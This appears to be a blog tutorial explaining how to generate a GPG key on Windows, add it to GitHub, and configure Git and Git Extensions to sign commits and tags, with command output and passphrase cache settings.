License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Home: C:/Users/Admin/AppData/Roaming/gnupg
Supported algorithms:
Pubkey: RSA, RSA, RSA, ELG, DSA
Cipher: IDEA, 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH,
        CAMELLIA128, CAMELLIA192, CAMELLIA256
Hash: MD5, SHA1, RIPEMD160, SHA256, SHA384, SHA512, SHA224
Compression: Uncompressed, ZIP, ZLIB, BZIP2

If you get any errors, make sure you added everything to your PATH environment variable.

Generating GPG Keys

Follow this guide. In short:

C:\Users\Admin>gpg --gen-key
gpg (GnuPG) 2.0.30; Copyright (C) 2015 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
Your selection? 1
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 4096
Requested keysize is 4096 bits
Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n years
Key is valid for? (0) 0
Key does not expire at all
Is this correct? (y/N) y

Real name: githubgpgtest
Email address: githubgpgtest@gmail.com
Comment:

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1u
pub   4096R/6B84CA35 2016-05-30
      Key fingerprint = DF55 D8E3 B4E5 9614 7ADF  8E6E E5B6 4A58 6B84 CA35
uid       [ultimate] githubgpgtest <githubgpgtest@gmail.com>
sub   4096R/63BEB3EE 2016-05-30

Notice: I will be using 6B84CA35 as my identifier for my key, you should use your own in the upcoming commands.

Adding your key to Github

Follow this guide. In short:

C:\Users\Admin>gpg --list-keys
C:/Users/Admin/AppData/Roaming/gnupg/pubring.gpg
------------------------------------------------
pub   4096R/6B84CA35 2016-05-30
uid       [ultimate] githubgpgtest <githubgpgtest@gmail.com>
sub   4096R/63BEB3EE 2016-05-30


C:\Users\Admin>gpg --armor --export 6B84CA35
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v2

mQINBFdMlawBEADUmBNVR8psLgeBQ1hz2N7VjVmiPiwbgpIK9VAToLX8BYl2ZPYB
...
=k1LJ
-----END PGP PUBLIC KEY BLOCK-----

Add your key to your Github account through this page:

github screenshot

Configuring Git

Set your globally installed GPG version in Git (make sure to alter this path if you installed gpg2.exe in a different location):

git config --global gpg.program "C:/Program Files (x86)/GNU/GnuPG/gpg2.exe"

Then set your generated signing key:

git config --global user.signingkey 6B84CA35

These commands enable automatic GPG signing for commits and tags (which is required if you want this to work with Git Extensions):

git config --global commit.gpgsign true
git config --global tag.gpgsign true

Now when commiting the Git Extensions it should show you the following dialog:

gpg password

After pushing to the repository Github shows your commits as verified:

verified

Conclusion

That’s about it, your passphrase should cache for a while so you shouldn’t be bothered with entering your passphrase every single time you commit. You can configure your caching times here:

gpg cache

The first entry is the default-cache-ttl option, the second max-cache-ttl:

--default-cache-ttl n
    Set the time a cache entry is valid to n seconds. The default is 600
    seconds.
--max-cache-ttl n
    Set the maximum time a cache entry is valid to n seconds. After this time a
    cache entry will be expired even if it has been accessed recently. The
    default is 2 hours (7200 seconds).

If you enjoyed this post, feel free to share it with your friends through social media.

Duncan

Leave a comment